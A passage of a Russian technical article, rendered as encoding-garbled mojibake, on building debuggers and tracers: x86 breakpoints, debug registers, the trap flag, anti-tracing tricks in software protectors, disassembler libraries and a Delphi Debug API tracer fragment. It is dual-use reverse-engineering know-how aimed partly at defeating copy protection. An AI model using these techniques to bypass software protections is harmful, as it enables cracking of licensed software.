âñå ñòàëî ãîðàçäî ïðîùå. Êàìíè ñòàëè ïîääåðæèâàòü îòëàäêó íà àïïà-
ðàòíîì óðîâíå, à, íà÷èíàÿ ñ 386, åùå è îòëàäêó â çàùèùåííîì ðåæèìå
ñ àïïàðàòíûìè òî÷êàìè îñòàíîâà. 
×òî æå ó íàñ çäåñü åñòü äëÿ óñòàíîâêè áðåêïîèíòîâ? Ñàìàÿ ÷àñòî èñ-
ïîëüçóåìàÿ âîçìîæíîñòü � òðåòüå ïðåðûâàíèå. Ïðîñòî îäèí áàéò îòëà-
æèâàåìîé ïðîãðàììû çàìåíÿåòñÿ íà îäíîáàéòîâóþ èíñòðóêöèþ int 3, êî-
òîðàÿ ïðè ñðàáàòûâàíèè ïåðåäàåò óïðàâëåíèå îòëàä÷èêó. Ýòîò ñïîñîá
íåñêîëüêî íàïîìèíàåò ñòàðûé òðþê ñ jmp, íî â îòëè÷èå îò íåãî ïîçâîëÿ-
åò ïðîèçâîäèòü îòëàäêó â çàùèùåííîì ðåæèìå è ðàçìåùàòü îòëàä÷èê
òàì, êóäà íå äîáåðåòñÿ îòëàæèâàåìàÿ ïðîãðàììà, êàê áû îíà ýòîãî íå
çàõîòåëà (â íóëåâîì êîëüöå çàùèòû). Äîñòîèíñòâî ýòîãî ìåòîäà â òîì,
÷òî îí ïîçâîëÿåò ñòàâèòü íåîãðàíè÷åííîå ÷èñëî áðåêïîèíòîâ, à íåäî-
ñòàòîê � â íåïîñðåäñòâåííîé ìîäèôèêàöèè êîäà ïðîãðàììû. Ìíîãèå
çàùèòû ïðîâåðÿþò öåëîñòíîñòü ñâîåãî êîäà, à çíà÷èò, òàêîé ìåòîä íà
íèõ ñðàáàòûâàòü íå áóäåò. 
Îäíàêî ñîâðåìåííûå ñïîñîáû íà ýòîì íå çàêàí÷èâàþòñÿ. Ïðîöåññîðû
ñåðèè 386+ èìåþò ÷ðåçâû÷àéíî óäîáíûé è ïîëåçíûé îòëàäî÷íûé ìåõà-
íèçì � àïïàðàòíûå DR-ðåãèñòðû. Èõ âñåãî øåñòü: dr0, dr1, dr2, dr3, dr6
è dr7, ïðè÷åì ïåðâûå ÷åòûðå èñïîëüçóþòñÿ äëÿ çàäàíèÿ òî÷åê îñòàíîâà,
à ïîñëåäíèé óïðàâëÿåò ðåæèìîì ðàáîòû âñåé ýòîé ñèñòåìû. È ÷òî æå
íàì ýòî äàåò? À äàåò íàì ýòî íåìàëî:

1Îñòàíîâ ïî ÷òåíèþ/çàïèñè/èñïîëíåíèþ îáëàñòåé ïàìÿòè: îò 1 äî 4-õ áàéò.

2Îñòàíîâ ïî èíñòðóêöèÿì ââîäà-âûâîäà (in è out) äëÿ îïðåäåëåííûõ ïîðòîâ.

3 Âîçìîæíîñòü îòñëåæèâàòü ïîïûòêó èçìåíåíèÿ ñîäåðæèìîãî ðåãè-
ñòðîâ dr0-dr3 (êîíòðîëèðóåòñÿ GD áèòîì â cr4).

Âçãëÿíè íà ñòðóêòóðó îòëàäî÷íûõ ðåãèñòðîâ, èçîáðàæåííóþ íà êàð-
òèíêå. Êàê âèäèøü, dr0-dr3 ñîäåðæàò ëèíåéíûé àäðåñ òî÷êè îñòàíîâà.
Ýòîò àäðåñ (ïðè èñïîëüçîâàíèè ñòðàíè÷íîé àäðåñàöèè) ìîæåò íå ñîâ-
ïàäàòü ñ ôèçè÷åñêèì. Åäèíñòâåííîå, ÷òî íàì òóò íàäî ó÷åñòü, � ýòî
òî, ÷òî ëèíåéíûé àäðåñ áðåêïîèíòîâ íà èñïîëíåíèå êîäà áåðåòñÿ îò-
íîñèòåëüíî ðåãèñòðà cs, à äëÿ äîñòóïà ê äàííûì � îòíîñèòåëüíî ds.
Ïîñòàâèòü áðÿê íà îáëàñòè ïàìÿòè, àäðåñóåìûå ÷åðåç äðóãèå ñåãìåí-
òû, ìîæíî òîëüêî òîãäà, êîãäà îíè ïåðåêðûâàþòñÿ ñ cs, ëèáî ds, è ïðè
ýòîì íàì íàäî âû÷èñëèòü âèðòóàëüíûé àäðåñ íóæíûõ äàííûõ â äðóãîì
ñåãìåíòå. Ãäå ìîæåò ïîíàäîáèòüñÿ òàêîé òðþê? Ñêîðåå âñåãî, äëÿ îò-
ñëåæèâàíèÿ óñòàíîâêè ïðîãðàììîé SEH-îáðàáîò÷èêîâ (äîñòóï â ñåã-
ìåíòå àäðåñóåìîì ÷åðåç fs). 

À òåïåðü äàâàé ïîäðîáíåå ðàññìîòðèì óïðàâëÿþùèå áèòû â ðåãèñòðàõ
dr6 è dr7. Â dr6:
áèò BT � óñòàíàâëèâàåòñÿ, åñëè ïðîèñõîäèò âêëþ÷åíèå çàäà÷è â çàäà-
÷ó, ãäå TSS èìååò óñòàíîâëåííûé áèò ëîâóøêè îòëàäêè.
áèò BS � ðàçðåøàåò îáðàáîò÷èêàì îòëàäêè îòëè÷àòü îäíîñòóïåí÷àòûå
ëîâóøêè îò äðóãèõ óñëîâèé îòëàäêè.
áèò BD � óñòàíàâëèâàåòñÿ àïïàðàòóðîé, åñëè ñëåäóþùàÿ êîìàíäà ïî-
ëó÷àåò äîñòóï ê ðåãèñòðó îòëàäêè.
áèòû B0-B3 � óñòàíàâëèâàþòñÿ, åñëè ïðîèçîøëî ïðåðûâàíèå îãðàíè-
÷åííîãî èñïîëüçîâàíèÿ. Â0 óñòàíàâëèâàåòñÿ, åñëè ïðîèçîøëî ïðåðûâà-
íèå 0 (òî÷êà îñòàíîâà) è ò.ä.
dr7 � óæå ïîáîëüøå, âåäü îí � Ðåãèñòð Óïðàâëåíèÿ Îòëàäêîé, è èñ-
ïîëüçóåòñÿ äëÿ ðàçðåøåíèÿ èëè óòî÷íåíèÿ ðàçëè÷íûõ òî÷åê îñòàíîâà.
Ñîñòîèò ðåãèñòð èç ñëåäóþùèõ ñîñòàâëÿþùèõ:
LEN � äâóõáèòîâîå ïîëå, êîòîðîå îïðåäåëÿåò äëèíó ïðåðûâàíèÿ. Âñå
ïðåðûâàíèÿ äîëæíû áûòü âûðîâíåíû: 2-õ áàéòîâûå âåêòîðû � ïî ãðà-
íèöàì ñëîâà; 4-õ áàéòîâûå � ïî ãðàíèöå äâîéíûõ ñëîâ. 

00 � äëèíà â îäèí áàéò, 
01 � äëèíà â äâà áàéòà,
10 � íåîïðåäåëåíà, 
11 � äëèíà â ÷åòûðå áàéòà.

RWE � äâóõáèòîâîå ïîëå, îïðåäåëÿþùåå òèï âûáîðêè èç ïàìÿòè,
êîòîðàÿ äîëæíà ïðîèçîéòè ñ òåì, ÷òîáû àêòèâèçèðîâàòü îáðàáîò-
êó ïðåðûâàíèÿ.
GE/LE � Ãëîáàëüíàÿ è Ëîêàëüíàÿ Âåðíûå Òî÷êè Îñòàíîâà: ýòè áèòû
äîëæíû áûòü âñåãäà óñòàíîâëåíû íà 1 ïðè èñïîëüçîâàíèè ïðåðûâàíèé.
Gi/Li � Ðàçáëîêèðîâêà Ãëîáàëüíîé è Ëîêàëüíîé Òî÷åê Îñòàíîâà:
åñëè Gi=1, ëèáî Li=1, òî ïðåðûâàíèÿ ðàçáëîêèðóþòñÿ. Åñëè ýòè áè-
òû óñòàíîâëåíû, òî ëþáîå ïðåðûâàíèå îãðàíè÷åííîãî èñïîëüçîâà-
íèÿ (òî åñòü òî÷êà îñòàíîâà, êîòîðàÿ ñîîòâåòñòâóåò óñëîâèÿì, îïðå-
äåëåííûì áèòàìè LE) çàñòàâèò ïðîöåññîð âûïîëíÿòü ïðîãðàììó îá-
ðàáîòêè îòëàäêè. Áèòû Li ïîçâîëÿþò óñòàíàâëèâàòü ëîêàëüíûå òî÷-
êè îñòàíîâà äëÿ èíäèâèäóàëüíîé çàäà÷è, íî ïðè ýòîì íå îêàçûâàþò
âëèÿíèÿ íà äðóãóþ çàäà÷ó. Gi ïîçâîëÿþò óñòàíàâëèâàòü ïðåðûâà-
íèÿ, âîçäåéñòâóþùèå íà âñå çàäà÷è.
Äëÿ òîãî ÷òîáû óñòàíîâèòü òî÷êó îñòàíîâà, ìèêðîïðîöåññîð äîëæåí ðà-
áîòàòü íà 0 óðîâíå ïðèâèëåãèé, â ðåàëüíîì ðåæèìå. Òî÷êà îñòàíîâà
äîëæíà áûòü óñòàíîâëåíà ïóòåì çàãðóçêè ðåãèñòðà òî÷êè ïðåðûâàíèÿ
(ïîñðåäñòâîì êîìàíäû MOV DRi,[îïåðàíä â ïàìÿòè èëè ðåãèñòðå]). Ïî-
ñëå ÷åãî äîëæíû áûòü óñòàíîâëåíû ñîîòâåòñòâóþùèé LEN è RWE, à òàê-
æå áèòû ðàçáëîêèðîâêè òî÷êè ïðåðûâàíèÿ Gi è/èëè Li.
Áèòû Bi â DR6 âñåãäà ïîêàæóò ëþáóþ òî÷êó îñòàíîâà îãðàíè÷åííîãî èñ-
ïîëüçîâàíèÿ; íî äî òåõ ïîð, ïîêà íå áóäóò óñòàíîâëåíû Gi èëè Li, ïðîöåñ-
ñîð íå áóäåò âûïîëíÿòü ïðîãðàììó îòëàäêè ñ ýòèìè ïðåðûâàíèÿìè.
Òàê, ñ óñòàíîâêîé áðåêïîèíòîâ ìû, ïîæàëóé, ðàçîáðàëèñü, òîïàåì äàëüøå. 
Òðàññèðîâêà â ïðîöåññîðàõ x86 ðåàëèçóåòñÿ ïîñðåäñòâîì ôëàãà òðàññè-
ðîâêè (9-ûé áèò) â ðåãèñòðå ôëàãîâ efl. Ïðè óñòàíîâêå ýòîãî áèòà êàæäàÿ
ñëåäóþùàÿ âûïîëíÿåìàÿ êîìàíäà áóäåò âûçûâàòü èñêëþ÷åíèå int 1. Ýòî
îáû÷íî è èñïîëüçóåòñÿ îòëàä÷èêàìè äëÿ òðàññèðîâêè èñïîëíåíèÿ êîäà.
Óñòàíîâèòü ýòîò ôëàã ìîæíî ñ ïîìîùüþ êîìàíä, âëèÿþùèõ íà ðåãèñòð
ôëàãîâ (iretd, retf, popfd), ëèáî (ïðèìåíèòåëüíî ê Windows) èçìåíèâ êîí-
òåêñò ïîòîêà ñ ïîìîùüþ GetThreadContext/SetThreadContext. 
Íî âñå òàê ëåãêî òîëüêî òîãäà, êîãäà â ïðîãðàììå îòñóòñòâóåò çàùè-
òà îò òðàññèðîâêè. Íàèáîëåå ÷àñòîé è íå ìåíåå ïðîòèâíîé çàùèòîé
ïðèìåíÿåìîé â ðàñïðîñòðàíåííûõ ïðîòåêòîðàõ, ÿâëÿåòñÿ óñòàíîâêà
ôëàãà òðàññèðîâêè è îòëîâ âîçíèêàþùèõ èñêëþ÷åíèé. Ïðè íàëè÷èè
îòëàä÷èêà èñêëþ÷åíèé íå áóäåò (åñëè îòëàä÷èê íå îáðàáàòûâàåò òà-
êèå ñèòóàöèè). Çàùèòà, ðàáîòàþùàÿ â íóëåâîì êîëüöå, ìîæåò èñ-
ïîëüçîâàòü ãîðàçäî áîëåå êîâàðíûå ìåòîäû, òàêèå êàê ïåðåâîä îá-
ðàáîò÷èêà ïåðâîãî ïðåðûâàíèÿ íà ñåáÿ ñ ïîñëåäóþùåé ñàìîòðàññè-
ðîâêîé. Åñëè ïëàíèðóåòñÿ îáõîäèòü òàêèå çàùèòû, òî òóò íå îáîé-
òèñü áåç ÷àñòè÷íîé ýìóëÿöèè èñïîëíÿåìîãî êîäà, ëèáî êîððåêòèðîâ-
êè ðåçóëüòàòîâ åãî èñïîëíåíèÿ äëÿ ïðåäîòâðàùåíèÿ îáíàðóæåíèÿ
ôàêòà òðàññèðîâêè çàùèòîé. Âîò êðàòêèé ñïèñîê òîãî, ÷òî íóæíî
ó÷åñòü ïðè ñîçäàíèè íåïîáåäèìîãî òðåéñåðà:

1 òðàññèðóåìàÿ êîìàíäà âûçûâàåò èñêëþ÷åíèå 

2 òðàññèðóåìàÿ ïðîãðàììà âûïîëíÿåò pushfd (à òàì TF=1...) 

3 òðàññèðóåìàÿ ïðîãðàììà âûïîëíÿåò popfd, ìîæåò íà÷àòü òðàññèðî-
âàòü ñàìà ñåáÿ 

4 òðàññèðóåìàÿ ïðîãðàììà âûïîëíÿåò iretd, òîæå ñàìîå 

5 mov ss,xx/pop ss � ïîäëàÿ øòóêà, ìîæåò áûòü ñ ïðåôèêñàìè 

6 òðàññèðóåìàÿ ïðîãðàììà âûïîëíÿåò intxx/int3/icebp 

7 òðàññèðóåìàÿ ïðîãðàììà âûïîëíÿåò into 

8 òðàññèðóåìàÿ êîìàíäà ÷èòàåò int1 descriptor [X
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9 òðàññèðóåìàÿ êîìàíäà ïèøåò â int1 descriptor 

0 òðàññèðóåìàÿ ïðîãðàììà âûïîëíÿåò sidt (...) 

A òðàññèðóåìàÿ ïðîãðàììà âûïîëíÿåò lidt 

B òðàññèðóåìàÿ êîìàíäà ïèøåò â dr6 (èñïîëüçóåò äëÿ õðàíåíèÿ ÷è-
ñåë/ïðîâåðêè) 

C âàðèàöèè: òðàññèðóåìàÿ ïðîãðàììà ñòàâèò ñâîé îáðàáîò÷èê INT1/3,
íà÷èíàåò òðàññèðîâàòü ñåáÿ, ñòàâèò hardware-breakpoint'û íà ÷òåíèå/çà-
ïèñü/âûïîëíåíèå, èñïîëüçóåò èñêëþ÷åíèÿ äëÿ ñâîèõ íóæä è âñå ýòî ðà-
áîòàåò îäíîâðåìåííî, ïðè÷åì ïðèîðèòåò âûïîëíåíèÿ èãðàåò ðîëü. 

Èç âñåãî ýòîãî ìîæíî ñäåëàòü âûâîä, ÷òî íàïèñàòü õîðîøèé òðåéñåð íå
òàê óæ è ïðîñòî, òåì áîëåå, ÷òî ñëîæíûå ïðîòåêòîðû ÷àñòî èñïîëüçóþò
åùå áîëåå äèêèå ïðèåìû, ÷åì ÿ çäåñü îïèñàë.

[÷òî åùå íóæíî äëÿ îòëàä÷èêà] Â áîëüøèíñòâå ñëó÷àåâ äëÿ íàïè-
ñàíèÿ äàæå ïðîñòîãî òðåéñåðà, íåñóùåãî êàêóþ-òî ïîëåçíóþ íàãðóçêó,
íàì ïîíàäîáèòñÿ íå òîëüêî âîçìîæíîñòü îáðàáàòûâàòü áðåêïîèíòû è
òðàññèðîâêó, íî è àíàëèçèðîâàòü èñïîëíÿåìûé êîä. À äëÿ ýòîãî íàì íó-
æåí äèçàññåìáëåð. Ñêîðåå âñåãî, ïîëíîöåííûé äèçàññåìáëåð íàì íå
ïîíàäîáèòñÿ, à äîñòàòî÷íî áóäåò ïðîñòîãî äèçàññåìáëåðà äëèí, èíîãäà
íàì ìîæåò ïîíàäîáèòüñÿ âûâîä òåêñòà (äèçàñì ëèñòèíãà êîäà). Äàâàé
ñôîðìóëèðóåì òðåáîâàíèÿ, êîòîðûì äîëæåí óäîâëåòâîðÿòü äèçàññåì-
áëåð, ïðèìåíÿåìûé â îòëàä÷èêå:

1 Íåçàâèñèìîñòü îò îïåðàöèîííîé ñèñòåìû. Ýòî íåîáõîäèìî äëÿ îáåñ-
ïå÷åíèÿ óíèâåðñàëüíîñòè äèçàññåìáëåðà è äëÿ ðàáîòû åãî â ëþáûõ
óñëîâèÿõ (â òîì ÷èñëå äàæå áåç çàãðóæåííîãî â ïàìÿòü ÿäðà ñèñòåìû).

2 Âûâîä òåêñòà ÿâëÿåòñÿ âòîðîñòåïåííîé è íåîáÿçàòåëüíîé ôóíêöè-
åé, äèçàññåìáëåð äîëæåí îáÿçàòåëüíî óìåòü ðàçáèðàòü êîìàíäû íà
èõ ñîñòàâëÿþùèå è ôîðìèðîâàòü ñòðóêòóðó åäèíîãî ôîðìàòà, êîòî-
ðàÿ îïèñûâàåò äèçàññåìáëèðóåìóþ êîìàíäó. Ýòî âñå íåîáõîäèìî

äëÿ àíàëèçà èñïîëíÿåìîãî êîäà.

3 Î÷åíü âàæíà êîððåêòíîñòü äè-
çàññåìáëèðîâàíèÿ íåñòàíäàðòíûõ
îïêîäîâ (ñîäåðæàùèõ ìíîãîêðàò-
íûå ïðåôèêñû, íåäîïóñòèìûå çíà-
÷åíèÿ áàéòà Mod R/M èëè SIB), òàê
êàê òàêèå êîìàíäû ëþáÿò ïðèìå-
íÿòü â çàùèòàõ äëÿ îáìàíà äèçàñ-
ñåìáëåðîâ è ýìóëÿòîðîâ.

4 Äèçàññåìáëåð äîëæåí ðàáîòàòü
ñ êîäîì ïîêîìàíäíî, òî åñòü ðàáî-
òàòü ñ îòäåëüíî âçÿòîé êîìàíäîé,
íå îïèðàÿñü ïðè ýòîì íà îêðóæàþ-
ùèé êîíòåêñò. Óñòàíàâëèâàòü
ñâÿçü ìåæäó êîìàíäàìè � ýòî çà-
äà÷à êîäîàíàëèçàòîðà, êîòîðûé
ìîæåò ïðè íåîáõîäèìîñòè ïðèñóò-
ñòâîâàòü â îòëàä÷èêå.

5 Æåëàòåëåí (íî íå îáÿçàòåëåí)
ìàëûé ðàçìåð äèçàññåìáëåðà è
âîçìîæíîñòü åãî èñïîëüçîâàíèÿ â
ïðîãðàììàõ, íàïèñàííûõ íà ðàç-
ëè÷íûõ ÿçûêàõ ïðîãðàììèðîâàíèÿ
(Ñ++, Delphi etc).

6 Îòêðûòûé èñõîäíûé êîä (òàê
êàê òåáå ìîæåò ïîíàäîáèòüñÿ
÷òî-ëèáî èçìåíèòü â äèçàññåì-
áëåðå).

Åñëè äëÿ ðåøåíèÿ òâîåé çàäà÷è íóæåí ïîëíîöåííûé äèçàññåìáëåð, óäî-
âëåòâîðÿþùèé âñåì âûøåïðèâåäåííûì òðåáîâàíèÿì, òî òû ìîæåøü èñ-
ïîëüçîâàòü ìîé CADt (Code Analization and Disassemblibg Tool), âûïîë-
íåííûé â âèäå áèáëèîòåêè, êîòîðóþ ìîæíî èñïîëüçîâàòü â ëþáûõ ñâîèõ
ïðîãðàììàõ. Îí ïîääåðæèâàåò ïîëíûé íàáîð êîìàíä ïðîöåññîðà Penti-
um 3 (386, MMX, SSE) è ïðåäíàçíà÷åí ñïåöèàëüíî äëÿ èñïîëüçîâàíèÿ â
îòëàä÷èêàõ è êîäîàíàëèçàòîðàõ. Îí ïîëíîñòüþ íåçàâèñèì îò ñèñòåìû è
ìîæåò èñïîëüçîâàòüñÿ êàê è â ïðîãðàììàõ, ðàáîòàþùèõ â òðåòüåì êîëü-
öå, òàê è â îòëàä÷èêàõ óðîâíÿ ÿäðà. Â äèñòðèáóòèâ äèçàññåìáëåðà âõîäèò
äâå âåðñèè DLL (îäíà ïðåäíàçíà÷åíà äëÿ ring3, äðóãàÿ � äëÿ äðàéâåðîâ),
îáúåêòíûå ôàéëû äëÿ ñòàòè÷åñêîé ëèíêîâêè, çàãîëîâî÷íûå ôàéëû äëÿ
Borland Delphi è MS Visual C++, èñõîäíûé êîä äèçàññåìáëåðà íà ïàñêàëå
(êîìïèëèðóåòñÿ âî âñåõ âåðñèÿõ Delphi, íà÷èíàÿ c òðåòüåé) è ïðèìåðû
ïðèìåíåíèÿ äèçàññåìáëåðà â ïðîãðàììàõ. Ðàçìåð ñêîìïèëèðîâàííîé
áèáëèîòåêè � 18 êá, à òî òû, íàâåðíî, óæå èñïóãàëñÿ, äóìàÿ, ÷òî äèçàñ-
ñåìáëåð íà Delphi áóäåò âåñèòü íå ìåíüøå ìåãàáàéòà.
Åñëè æå òåáå áóäåò äîñòàòî÷íî äèçàññåìáëåðà äëèí, òî ìîæåøü èñïîëü-
çîâàòü ìîþ áèáëèîòåêó LDasm. Îíà ïîääåðæèâàåò âñå ñóùåñòâóþùèå íà-
áîðû èíñòðóêöèé äëÿ 32-áèòíûõ x86 ñîâìåñòèìûõ ïðîöåññîðîâ (386,
MMX, SSE, SSE2, SSE3, 3DNow) è ðàñïðîñòðàíÿåòñÿ â èñõîäíûõ òåêñòàõ.
Íåñîìíåííî, òåáÿ ïîðàäóåò òî, ÷òî èñõîäíèêè ýòîãî äèçàññåìáëåðà äîñòó-
ïíû â âåðñèÿõ íà C++, Delphi, Visual Basic è íà àññåìáëåðå, � âûáèðàé,
÷òî òåáå ïî âêóñó. Îáà äèçàññåìáëåðà òû ìîæåøü íàéòè íà äèñêå ñ æóð-
íàëîì, ëèáî ñêà÷àòü ñ ìîåãî ñàéòà ms-rem.dot-link.net. Åñëè òû íàéäåøü â
íèõ êàêóþ-íèáóäü îøèáêó, òî îáÿçàòåëüíî ñîîáùè ìíå íà ìûëî, è ÿ åå
òîò÷àñ æå ëèêâèäèðóþ. 

[Debug API] ß äóìàþ, òû óæå ïîíÿë, ÷òî Debug API � ýòî íàáîð ñè-
ñòåìíûõ ôóíêöèé, ðåàëèçóþùèõ òå èëè èíûå îòëàäî÷íûå ìåõàíèçìû.
Ýòè ôóíêöèè óäîáíû â ïðèìåíåíèè, íî, ê ñîæàëåíèþ, íå ïîçâîëÿþò îò-

âîò òàê âîò âûãëÿäÿò èñõîäíè÷êè òðåéñåðà

ÝÌÓËßÖÈß
Ýìóëÿöèÿ ïðîöåññîðà � î÷åíü ìîù-
íûé ìåòîä îòëàäêè, íå íàêëàäûâàþ-
ùèé âîîáùå íèêàêèõ îãðàíè÷åíèé íà
âîçìîæíîñòè îòëàä÷èêà, îäíàêî
îáëàäàþùèé îäíèì íåïðèÿòíûì íå-
äîñòàòêîì � äëÿ èñïîëüçîâàíèÿ íà
ðåàëüíûõ ïðîãðàììàõ åìó íåîáõîäè-
ìî ýìóëèðîâàòü íå òîëüêî ïðîöåñ-
ñîð, íî è âñå îáîðóäîâàíèå êîìïüþ-
òåðà. Ïîäîáíûì ýìóëÿòîðîì ÿâëÿåò-
ñÿ âèðòóàëüíàÿ ìàøèíà BOCHS. Ýòî
â íàñòîÿùåå âðåìÿ åäèíñòâåííûé îò-
ëàä÷èê-ýìóëÿòîð, ïðèãîäíûé äëÿ

ïðàêòè÷åñêèõ öåëåé. Îí îáû÷íî èñ-
ïîëüçóåòñÿ äëÿ îòëàäêè çàãðóç÷èêîâ
ÎÑ, êîäà BIOS è äðóãèõ ñïåöèôè÷å-
ñêèõ ñëó÷àåâ, íåäîñòóïíûõ äëÿ îò-
ëàäêè îáû÷íûìè ñðåäñòâàìè. Äëÿ
çàùèùåííûõ ïðîãðàìì îí, ê ñîæàëå-
íèþ, íåïðèãîäåí, òàê êàê íå âñåãäà
êîððåêòíî ýìóëèðóåò ñïåöèàëüíî ñî-
ñòàâëåííûå íåñòàíäàðòíûå êîìàíäû,
äà è, íàäî çàìåòèòü, ñóùåñòâóþùèé
íàáîð êîìàíä 386 ýìóëèðóåò íå ïîë-
íîñòüþ. Ê òîìó æå, ïîäîáíûå ýìóëÿ-
òîðû ëåãêî îáíàðóæèòü ïî ñïåöèôè-
÷åñêîìó íàáîðó ýìóëèðóåìîãî îáî-

ðóäîâàíèÿ. Ïî ìîåìó ìíåíèþ, ñîç-
äàòü íåîáíàðóæàåìûé îòëàä÷èê-ýìó-
ëÿòîð ïðàêòè÷åñêè íåâîçìîæíî, òàê
êàê â ýìóëÿöèè ïðîöåññîðà è îáîðó-
äîâàíèÿ åñòü ìíîæåñòâî ìåëêèõ íå-
äîêóìåíòèðîâàííûõ òîíêîñòåé, êîòî-
ðûå íå âàæíû äëÿ ðàáîòû îáû÷íûõ
ïðîãðàìì, à ëþáîå íåñîîòâåòñòâèå
ïîâåäåíèÿ ýìóëèðóåìîãî îáîðóäîâà-
íèÿ ðåàëüíîìó ìîæåò áûòü èñïîëüçî-
âàíî çàùèòîé äëÿ îáíàðóæåíèÿ îò-
ëàä÷èêà. Íî äëÿ îòëàäêè îïåðàöèîí-
íûõ ñèñòåì ïîäîáíûå ýìóëèðóþùèå
äåáàããåðû íåçàìåíèìû.
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ëàæèâàòü êîä, èñïîëíÿåìûé â íó-
ëåâîì êîëüöå, è èìåþò ìíîãî äðó-
ãèõ íåïðèÿòíûõ îãðàíè÷åíèé. Íî
íà Debug API ïîñòðîåíî äîñòàòî÷-
íî ìíîãî îòëàä÷èêîâ, â òîì ÷èñëå
è òàêîé âåñüìà ïîïóëÿðíûé äåáàã-
ãåð, êàê OllyDbg. 
Èòàê, íàñòàëà ïîðà ïåðåéòè îò
òåîðèè ê ïðàêòèêå, ïîïðîáóåì íà-
ïèñàòü Ring3-òðåéñåð, êîòîðûé
áû çàïóñêàë ïðîãðàììó â ðåæèìå
îòëàäêè, óñòàíàâëèâàë òî÷êó
îñòàíîâà íà åå òî÷êå âõîäà, à ïî-
ñëå åå ñðàáàòûâàíèÿ òðàññèðî-
âàë áû ïðîãðàììó íà îïðåäåëåí-
íîå êîëè÷åñòâî êîìàíä, ïîïóòíî
äèçàññåìáëèðóÿ âûïîëíÿåìûé
êîä è ñîõðàíÿÿ ëîã â ôàéë. 
Äëÿ òîãî ÷òîáû îòëàæèâàòü êàêîé-
ëèáî ïðîöåññ, åãî íàäî ñíà÷àëà
çàïóñòèòü ñïåöèàëüíûì îáðàçîì.
Äåëàåòñÿ ýòî ñ ïîìîùüþ CreateProcess ñ óñòàíîâëåííûìè â dwCreation-
Flags ôëàãàìè DEBUG_PROCESS è DEBUG_ONLY_THIS_PROCESS.
Ïåðâûé áóäåò îçíà÷àòü, ÷òî ïðîöåññ çàïóñêàåòñÿ â ðåæèìå îòëàäêè, à
âòîðîé � ÷òî îòëàäêà íå ðàñïðîñòðàíÿåòñÿ íà âñå çàïóñêàåìûå èì äî-
÷åðíèå ïðîöåññû. Ïðîöåññ çàïóñòèòñÿ óæå â îñòàíîâëåííîì ñîñòîÿíèè,
ñãåíåðèðóåòñÿ ïåðâîå îòëàäî÷íîå ñîáûòèå, íåñóùåå èíôîðìàöèþ î
ñðàáàòûâàíèè áðåêïîèíòà, è ïðîöåññ íå áóäåò âûïîëíÿòüñÿ äî òåõ ïîð,
ïîêà ýòî ñîáûòèå íå áóäåò îáðàáîòàíî îòëàä÷èêîì. Äëÿ ïîëó÷åíèÿ îò-
ëàäî÷íîãî ñîáûòèÿ äåáàããåð äîëæåí âûçâàòü ôóíêöèþ WaitForDebugE-
vent, êîòîðàÿ æäåò íàñòóïëåíèÿ ñîáûòèÿ è ñîõðàíÿåò èíôîðìàöèþ î
íåì â ñòðóêòóðå TDebugEvent. Äëÿ ïðîäîëæåíèÿ âûïîëíåíèÿ ïðîãðàì-
ìû îòëàä÷èêó íóæíî âûçâàòü ContinueDebugEvent.
Ïîñëå çàïóñêà ïðîöåññà ìû ñðàçó æå ïîëó÷èì ñîáûòèå, îïèñûâàþùåå
ñðàáîòàâøèé áðåêïîèíò, íî îí áóäåò íå íà òî÷êå âõîäà â ïðîãðàììó, à â
ôóíêöèè BaseProcessStart èç kernel32.dll, ñ êîòîðîé íà÷èíàåòñÿ âûïîë-
íåíèå ïðîãðàììû. Íàì íóæíî óñòàíîâèòü «áðÿê» íà òî÷êå âõîäà. Äëÿ òî-
ãî ÷òîáû îïðåäåëèòü, ãäå îíà íàõîäèòñÿ, ïðèäåòñÿ çàãðóçèòü èñïîëíè-
ìûé ôàéë ïðîãðàììû è ïðî÷èòàòü èíòåðåñóþùèé íàñ àäðåñ èç PE-çàãî-
ëîâêà. Äëÿ ýòîãî ìîæíî èñïîëüçîâàòü ôóíêöèþ LoadLibraryEx:

pImage := pointer(LoadLibraryEx(PChar(DbgApp), 0, 
DONT_RESOLVE_DLL_REFERENCES));

ntHeaders  := pointer(dword(pImage) + pImage^._lfanew);
EntryPoint := pointer(ntHeaders^.OptionalHeader.ImageBase + 

ntHeaders^.OptionalHeader.AddressOfEntryPoint);
FreeLibrary(dword(pImage));

Ôëàã DONT_RESOLVE_DLL_REFERENCES îçíà÷àåò, ÷òî íàì íóæíî
ïðîñòî çàãðóçèòü PE-ôàéë áåç íàñòðîéêè åãî èìïîðòîâ è èñïîëíåíèÿ
òî÷êè âõîäà. Áåç óêàçàíèÿ ýòîãî ôëàãà ôàéë ãðóçèòüñÿ ïðîñòî íå áóäåò.
Â ñëó÷àå óñïåõà ôóíêöèÿ LoadLibraryEx âîçâðàùàåò ïàðàìåòð hmodule,
êîòîðûé íà ñàìîì äåëå ÿâëÿåòñÿ íè ÷åì èíûì, êàê óêàçàòåëåì íà MZ-çà-
ãîëîâîê ôàéëà. Ïðèáàâèâ ê íåìó çíà÷åíèå ïîëÿ e_lfanew ýòîãî çàãîëîâ-
êà, ìû ïîëó÷èì óêàçàòåëü íà ImageNtHeaders, îòêóäà ìîæíî èçâëå÷ü áà-
çîâûé àäðåñ çàãðóçêè PE-ôàéëà (ImageBase) è RVA åãî òî÷êè âõîäà (Ad-
dressOfEntryPoint). Ñóììà ýòèõ ÷èñåë è áóäåò àäðåñîì òî÷êè âõîäà â çà-
ãðóæåííîé ïðîãðàììå. Ïîñëå ïîëó÷åíèÿ òî÷êè âõîäà ôàéë ìîæíî âûãðó-
çèòü ñ ïîìîùüþ FreeLibrary, òàê êàê îí áîëüøå íå ïîíàäîáèòñÿ. 
Òåïåðü ìû ìîæåì íà÷àòü îáðàáîòêó îòëàäî÷íûõ ñîáûòèé. Â ïåðâîì èç
íèõ óñòàíîâèì áðåêïîèíò, çàïèñàâ ñ ïîìîùüþ WriteProcessMemory áàéò
CC (îïêîä êîìàíäû int 3) íà òî÷êó âõîäà ïðîãðàììû.

while true do
begin

WaitForDebugEvent(DbgEvent, INFINITE);
if DbgEvent.dwDebugEventCode = EXCEPTION_DEBUG_EVENT then

case DbgEvent.Exception.ExceptionRecord.ExceptionCode of
EXCEPTION_BREAKPOINT :
begin

Inc(BreakNum);
if BreakNum = 1 then
begin

ReadProcessMemory(Pr.hProcess, EntryPoint, @OldByte, 1, Bytes);
NewByte := $CC;
WriteProcessMemory(Pr.hProcess, EntryPoint, @NewByte, 1, Bytes);

end

Ïåðåä ýòèì íóæíî ñ ïîìîùüþ ReadProcessMemory ñîõðàíèòü îðèãè-
